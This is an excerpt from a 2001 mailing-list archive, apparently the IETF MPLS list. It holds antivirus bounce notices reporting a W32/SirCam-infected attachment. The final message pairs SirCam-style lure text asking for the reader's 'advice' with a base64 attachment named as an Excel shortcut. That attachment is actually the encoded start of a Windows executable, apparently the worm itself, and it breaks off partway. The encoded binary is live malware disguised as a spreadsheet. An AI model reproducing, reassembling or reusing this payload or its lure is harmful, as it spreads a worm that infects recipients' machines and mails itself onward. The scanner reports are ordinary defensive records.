AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAA
CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAD+////FgAAABcA
AAAYAAAAGQAAABoAAAAbAAAAHAAAAP7///8eAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAA
/v////3////+////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////9SAG8AbwB0ACAA
RQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAEAAAAAwAAAAAAAAAAAAAAkQMAoMznRAAA0kQA
FgAFAf//////////AgAAACAIAgAAAAAAwAAAAAAAAEYAAAAAAAAAAAAAAACgSuQmd66/Af7/
//8AAAAAAAAAAFcAbwByAGsAYgBvAG8AawAAAAAAIBgwCA8AAAABAAAA//8BAAAAAAAAAAAA
AAAAAAAAAAD/AAAAANdEAHDWA0gSAAIB////////////////EAAAAAAAAAAAAAAAAAAAAAAA
AADhAgCgIAZFADwAQAB81kQAAAAAAHUpAABgAGAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8A
cgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAgEBAAAAAwAAAP//
//+GAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVAAAAABAAAAAAAAAFAEQA
bwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAA
AAAAAAAAOAACAf///////////////wAAAADxAQCgPABAAMT9RAAAAAAA4QEAoDwAQADE/UQA
LNdEAB0AAAAAEAAAAAAAAA===

------21750913_Outlook_Express_message_boundary

------21750913_Outlook_Express_message_boundary--


From owner-mpls@UU.NET  Mon Oct  8 00:46:22 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00496
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 00:46:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljup11238;
	Mon, 8 Oct 2001 04:46:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljup12097
	for mpls-outgoing; Mon, 8 Oct 2001 04:45:41 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljup11988
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:45:21 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljup11867
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:45:18 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljup23377
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:45:06 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id AAA16608 for <mpls@uu.net>; Mon, 8 Oct 2001 00:45:04 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id AAA21589 for mpls@uu.net; Mon, 8 Oct 2001 00:45:04 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljuo11648
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:44:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuo13650
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:43:27 GMT
Received: from viva1.vivacenetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.221.212.135])
	id QQljuo22630
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:43:40 GMT
Received: by viva1.vivacenetworks.com with Internet Mail Service (5.5.2653.19)
	id <42MTF45F>; Sun, 7 Oct 2001 21:43:24 -0700
Message-ID: <B7E68CA26CF93846B74B9305EE908AE602E1C7@viva1.vivacenetworks.com>
From: System Attendant <VIVA1-SA@vivacenetworks.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: ScanMail Message: To Recipient virus found and action taken.
Date: Sun, 7 Oct 2001 21:43:21 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA00496

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = ÀÜ¿ìÁ÷(Woojik Chun)
Recipient(s) = mpls@UU.NET
Subject = ÁöºĞ(³²±Ã)
Scanning Time = 10/07/2001 21:43:21

Action on virus found:
The attachment ÁöºĞ(³²±Ã).xls.pif matched file blocking settings. ScanMail
has Moved it.  The attachment was moved to E:\Program
Files\Trend\Smex\Alert\ÁöºĞ(³²±Ã).xls3bc12ee96.pif_.

Warning to recipient. ScanMail has detected a virus.



From owner-mpls@UU.NET  Mon Oct  8 00:48:08 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00529
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 00:48:08 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljup14404;
	Mon, 8 Oct 2001 04:48:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljup12493
	for mpls-outgoing; Mon, 8 Oct 2001 04:47:32 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljup12477
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:47:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljup01810
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:47:22 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljup28590
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:47:15 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id AAA16802 for <mpls@uu.net>; Mon, 8 Oct 2001 00:47:21 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id AAA23042 for mpls@uu.net; Mon, 8 Oct 2001 00:47:21 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljup12316
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:46:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljup25389
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:45:59 GMT
From: MHDHUB02@marconi.com
Received: from notes.marconicommsna.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.43.60.106])
	id QQljup11023
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:46:12 GMT
X-Priority: 3 (Normal)
Date: Mon, 8 Oct 2001 00:49:56 -0400
Subject: Report to Recipient(s)
To: mpls@UU.NET
Message-ID: <OFB01D6FD3.9257E55A-ON85256ADF.001A8B60@marconicommsna.com>
X-MIMETrack: Serialize by Router on MHDGWY02/S/EXT/MC1(Release 5.0.8 |June 18, 2001) at
 10/08/2001 12:39:00 AM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA00529

Incident Information:-

Originator:    owner-mpls@UU.NET
Recipients:    mpls@UU.NET
Subject:  ÁöºĞ(³²±Ã)

WARNING:  The file ÁöºĞ(³²±Ã).xls.pif you received was infected with the
W32/SirCam@MM virus.  The file attachment was not successfully cleaned.



From owner-mpls@UU.NET  Mon Oct  8 00:48:21 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00540
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 00:48:21 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljup03998;
	Mon, 8 Oct 2001 04:48:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljup12525
	for mpls-outgoing; Mon, 8 Oct 2001 04:47:45 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljup12498
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:47:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljup24503
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:47:15 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljup28370
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:47:08 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id AAA16792 for <mpls@uu.net>; Mon, 8 Oct 2001 00:47:15 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id AAA22825 for mpls@uu.net; Mon, 8 Oct 2001 00:47:15 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljup12162
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:46:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljup14717
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:45:58 GMT
From: MHDHUB02@marconi.com
Received: from notes.marconicommsna.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.43.60.106])
	id QQljup10985
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:46:11 GMT
X-Priority: 3 (Normal)
Date: Mon, 8 Oct 2001 00:49:55 -0400
Subject: Report to Recipient(s)
To: mpls@UU.NET
Message-ID: <OF13AB77DC.004C49E8-ON85256ADF.001A8B23@marconicommsna.com>
X-MIMETrack: Serialize by Router on MHDGWY02/S/EXT/MC1(Release 5.0.8 |June 18, 2001) at
 10/08/2001 12:38:58 AM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA00540

Incident Information:-

Originator:    owner-mpls@UU.NET
Recipients:    mpls@UU.NET
Subject:  ÁöºĞ(³²±Ã)

WARNING:  The file ÁöºĞ(³²±Ã).xls.pif you received was infected with the
W32/SirCam@MM virus.  The file attachment was not successfully cleaned.



From owner-mpls@UU.NET  Mon Oct  8 00:51:56 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00569
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 00:51:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljup21469;
	Mon, 8 Oct 2001 04:51:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljup13188
	for mpls-outgoing; Mon, 8 Oct 2001 04:51:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljup13165
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:51:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljup23341
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:50:11 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljup03373
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:50:04 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id AAA17036 for <mpls@uu.net>; Mon, 8 Oct 2001 00:50:10 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id AAA24214 for mpls@uu.net; Mon, 8 Oct 2001 00:50:10 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljup12855
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:49:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljup22455
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:48:26 GMT
Received: from viva1.vivacenetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.221.212.135])
	id QQljup04920
	for <mpls@UU.NET>; Mon, 8 Oct 2001 04:48:39 GMT
Received: by viva1.vivacenetworks.com with Internet Mail Service (5.5.2653.19)
	id <42MTF46L>; Sun, 7 Oct 2001 21:48:23 -0700
Message-ID: <B7E68CA26CF93846B74B9305EE908AE602E1CA@viva1.vivacenetworks.com>
From: System Attendant <VIVA1-SA@vivacenetworks.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: ScanMail Message: To Recipient virus found and action taken.
Date: Sun, 7 Oct 2001 21:48:21 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA00569

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = ÀÜ¿ìÁ÷(Woojik Chun)
Recipient(s) = mpls@UU.NET
Subject = ÁöºĞ(³²±Ã)
Scanning Time = 10/07/2001 21:48:21

Action on virus found:
The attachment ÁöºĞ(³²±Ã).xls.pif matched file blocking settings. ScanMail
has Moved it.  The attachment was moved to E:\Program
Files\Trend\Smex\Alert\ÁöºĞ(³²±Ã).xls3bc130157.pif_.

Warning to recipient. ScanMail has detected a virus.



From owner-mpls@UU.NET  Mon Oct  8 02:16:11 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12070
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 02:16:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuv00227;
	Mon, 8 Oct 2001 06:15:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuu28118
	for mpls-outgoing; Mon, 8 Oct 2001 06:14:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljuu28107
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:14:30 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljuu08052
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:13:45 GMT
Received: from raonet.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [211.63.143.1])
	id QQljuu26521
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:13:14 GMT
Received: from chun-notebook.raonet.com ([211.63.143.124])
	by raonet.com (8.11.2/8.11.2) with SMTP id f986Cl124072
	for <mpls@uu.net>; Mon, 8 Oct 2001 15:12:54 +0900
Message-Id: <200110080612.f986Cl124072@raonet.com>
From: "=?ISO-8859-1?Q?=C0=DC=BF=EC=C1=F7=28Woojik=20Chun=29?="<chun@raonet.com>
To: mpls@UU.NET
Subject: =?ISO-8859-1?Q?=C1=D6=C1=D6=B8=ED=BA=CE=28=BF=B9=C1=A4=29?=
date: Mon, 8 Oct 2001 15:31:47 +0900
MIME-Version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Content-Type: multipart/mixed; boundary="----5AC84829_Outlook_Express_message_boundary"
Content-Disposition: Multipart message
Sender: owner-mpls@UU.NET
Precedence: bulk

------5AC84829_Outlook_Express_message_boundary
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: message text
Content-Transfer-Encoding: quoted-printable

Hi! How are you=3F
 
I send you this file in order to have your advice
 
See you later=2E Thanks

------5AC84829_Outlook_Express_message_boundary
Content-Type: application/mixed; name=ÁÖÁÖ¸íºÎ(¿¹Á¤).xls.lnk
Content-Disposition: attachment;  filename=ÁÖÁÖ¸íºÎ(¿¹Á¤).xls.lnk
Content-Transfer-Encoding: base64

TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5k
ZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQgAGV5CKgAA
AAAAAAAA4ACOgQsBAhkAqAEAAGwAAAAAAACkqQEAABAAAADAAQAAAEAAABAAAAACAAABAAAA
AAAAAAQAAAAAAAAAAIACAAAEAAAAAAAAAgAAAAAAEAAAQAAAAAAQAAAQAAAAAAAAEAAAAAAA
AAAAAAAAAPABAK4RAAAAYAIAABgAAAAAAAAAAAAAAAAAAAAAAAAAMAIAOCAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAgAgAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAQ09ERQAAAACQpwEAABAAAACoAQAABAAAAAAAAAAAAAAAAAAA
IAAAYERBVEEAAAAAlBwAAADAAQAAHgAAAKwBAAAAAAAAAAAAAAAAAEAAAMBCU1MAAAAAACUP
AAAA4AEAAAAAAADKAQAAAAAAAAAAAAAAAAAAAADALmlkYXRhAACuEQAAAPABAAASAAAAygEA
AAAAAAAAAAAAAAAAQAAAwC50bHMAAAAADAAAAAAQAgAAAAAAANwBAAAAAAAAAAAAAAAAAAAA
AMAucmRhdGEAABgAAAAAIAIAAAIAAADcAQAAAAAAAAAAAAAAAABAAABQLnJlbG9jAAA4IAAA
ADACAAAiAAAA3gEAAAAAAAAAAAAAAAAAQAAAUC5yc3JjAAAAABgAAABgAgAAGAAAAAACAAAA
AAAAAAAAAAAAAEAAAFAAAAAAAAAAAAAAAAAAgAIAAAAAAAAYAgAAAAAAAAAAAAAAAABAAABQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQ
QAAKBlN0cmluZ1gQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWBBAAAQAAAAAAAAA
oCxAAKwsQACwLEAAtCxAAKgsQABwK0AAhCtAAMwrQAAHVE9iamVjdGQQQAAHB1RPYmplY3RY
EEAAAAAAAAAABlN5c3RlbQAAhBBAAA8ISVVua25vd24AAAAAAQAAAAAAAAAAwAAAAAAAAEYG
U3lzdGVtAAD/JbjxQQCLwP8ltPFBAIvA/yWw8UEAi8D/JazxQQCLwP8lqPFBAIvA/yWk8UEA
i8D/JaDxQQCLwP8lnPFBAIvA/yWY8UEAi8D/JZTxQQCLwP8lkPFBAIvA/yWM8UEAi8D/JYjx
QQCLwP8lzPFBAIvA/yWE8UEAi8D/JcjxQQCLwP8lgPFBAIvA/yV88UEAi8D/JXjxQQCLwP8l
dPFBAIvA/yVw8UEAi8D/JWzxQQCLwP8laPFBAIvA/yVk8UEAi8D/JWDxQQCLwP8lXPFBAIvA
/yVY8UEAi8D/JVTxQQCLwP8lxPFBAIvA/yVQ8UEAi8D/JUzxQQCLwP8lSPFBAIvA/yVE8UEA
i8D/JdzxQQCLwP8l2PFBAIvA/yXU8UEAi8D/JUDxQQCLwP8lPPFBAIvA/yX88UEAi8D/Jfjx
QQCLwP8l9PFBAIvA/yXw8UEAi8D/JezxQQCLwP8l6PFBAIvA/yXk8UEAi8BTg8S8uwoAAABU
6FH////2RCQsAXQFD7dcJDCLw4PERFvDi8D/JTjxQQCLwP8lNPFBAIvA/yUw8UEAi8D/JSzx
QQCLwP8lKPFBAIvA/yUk8UEAi8D/JSDxQQCLwP8lHPFBAIvAU1a+TORBAIM+AHU6aEQGAABq
AOio////i8iFyXUFM8BeW8OhSORBAIkBiQ1I5EEAM9KLwgPAjUTBBIseiRiJBkKD+mR17IsG
ixCJFl5bw5CJAIlABMOLwFNWi/KL2Oid////hcB1BTPAXlvDixaJUAiLVgSJUAyLE4kQiVgE
iUIEiQOwAV5bw4tQBIsIiQqJUQSLFUzkQQCJEKNM5EEAw1NWV1VRi/GJFCSL6ItdAIsEJIsQ
iRaLUASJVgSLO4tDCIvQA1MMOxZ1FIvD6Lf///+LQwiJBotDDAFGBOsWixYDVgQ7wnUNi8Po
mv///4tDDAFGBIvfO+t1wovWi8XoVf///4TAdQQzwIkGWl1fXlvDjUAAU1ZXVYPE+IvYi/uL
MotDCDvwcmyLzgNKBIvoA2sMO813XjvwdRuLQgQBQwiLQgQpQwyDewwAdUSLw+g1////6zuL
CotyBAPOi/gDeww7z3UFKXMM6yaLCgNKBIkMJCv5iXwkBIsSK9CJUwyL1IvD6ND+//+EwHUE
M8DrDLAB6wiLGzv7dYUzwFlaXV9eW8OQU1ZXi9qL8IH+AAAQAH0HvgAAEADrDIHG//8AAIHm
AAD//4lzBGoBaAAgAABWagDo+P3//4v4iTuF/3Qji9O4UORBAOhs/v//hMB1E2gAgAAAagCL
A1Do2f3//zPAiQNfXlvDkFNWV1WL2Yvyi+jHQwQAABAAagRoACAAAGgAABAAVeil/f//i/iJ
O4X/dR+Bxv//AACB5gAA//+JcwRqBGgAIAAAVlXogP3//4kDgzsAdCOL07hQ5EEA6PX9//+E
wHUTaACAAABqAIsDUOhi/f//M8CJA11fXlvDkFNWV1WDxOyJTCQEiRQkx0QkCP////8z0olU
JAyL6IsEJAPFiUQkEIsdUORBAOtRizuLcwg77ndGi8YDQww7RCQQdzs7dCQIcwSJdCQIi8YD
Qww7RCQMdgSJRCQMaACAAABqAFbo7/z//4XAdQrHBSzkQQABAAAAi8Poiv3//4vfgftQ5EEA
daeLRCQEM9KJEIN8JAwAdBmLRCQEi1QkCIkQi0QkDCtEJAiLVCQEiUIEg8QUXV9eW8NTVldV
g8T0iUwkBIkUJIvQi+qB5QDw//8DFCSBwv8PAACB4gDw//+JVCQIi0QkBIkoi0QkCCvFi1Qk
BIlCBIs1UORBAOs8i14Ii34MA/s763YCi907fCQIdgSLfCQIO/t2HmoEaAAQAAAr+1dT6Cb8
//+FwHUKi0QkBDPSiRDrCos2gf5Q5EEAdbyDxAxdX15bw4vAU1ZXVVGL2Ivzgcb/DwAAgeYA
8P//iTQki+sD6oHlAPD//4sEJIkBi8UrBCSJQQSLNVDkQQDrOIteCIt+DAP7OxwkcwOLHCQ7
73MCi/07+3YcaABAAAAr+1dT6K37//+FwHUKxwUs5EEAAgAAAIs2gf5Q5EEAdcBaXV9eW8ON
QABTVldVg8T4i/KL+L1g5EEAgcf/PwAAgecAwP//i10A6zM7ewx/LIvOi9eLQwjouv7//4M+
AHRQi0YEAUMIi0YEKUMMg3sMAHU+i8Po7Pv//+s1ixs73XXJi9aLx+j3/P//gz4AdCGLzIvW
i8Xo4/v//4M8JAB1pYvMi1YEiwbosf3//zPAiQZZWl1fXlvDi8BTVldVg8TsiQwki/qL8L1g
5EEAgcf/PwAAgecAwP//i10A6wKLGzvddAU7cwh19TtzCHVXO3sMD46WAAAAjUwkBIvXK1MM
i0MIA0MM6Nv8//+DfCQEAHQzjUwkDI1UJASLxehd+///g3wkDAB1sY1MJAyLVCQIi0QkBOgl
/f//iwQkM9KJEOmQAAAAjUwkBIvXi8bolPz//4N8JAQAdDSNTCQMjVQkBIvF6Bb7//+DfCQM
AA+FZv///41MJAyLVCQIi0QkBOja/P//iwQkM9KJEOtIi2sIO/V1Ojt7DH81iwwki9eLxehx
